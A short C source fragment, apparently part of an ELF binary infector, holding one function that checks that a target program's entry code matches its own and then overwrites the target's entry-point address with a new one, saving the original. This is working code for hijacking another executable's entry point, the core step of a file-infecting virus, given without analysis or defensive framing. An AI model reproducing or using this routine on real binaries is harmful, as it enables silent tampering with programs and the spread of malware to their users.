bool target_patch_entry_addr(Target* t)
{
  unsigned char* self_entry_code = (unsigned char*)SELF->e_entry;
  unsigned char* target_entry_code;
  int* patch_point;

  TRACE_DEBUG(-1, "target_patch_entry_addr\n");

  target_entry_code = target_get_entry_code(t);
  patch_point = (int*)(target_entry_code + 0x18);
  CHECK(DEBUG, 0, ==, memcmp(self_entry_code, target_entry_code, 0xc));

  /* check for last "push" */
  CHECK(DEBUG, self_entry_code[0x17], ==, target_entry_code[0x17]);

  /* check for "call" */
  CHECK(DEBUG, self_entry_code[0x1c], ==, target_entry_code[0x1c]);

  /* check for "hlt" */
  CHECK(DEBUG, self_entry_code[0x21], ==, target_entry_code[0x21]);

  t->original_entry = *patch_point;
  TRACE_DEBUG(-1, "old *patch_point=%08x\n", *patch_point);
  *patch_point = target_new_entry_addr(t);
  TRACE_DEBUG(-1, "new *patch_point=%08x\n", *patch_point);

  return true;
}
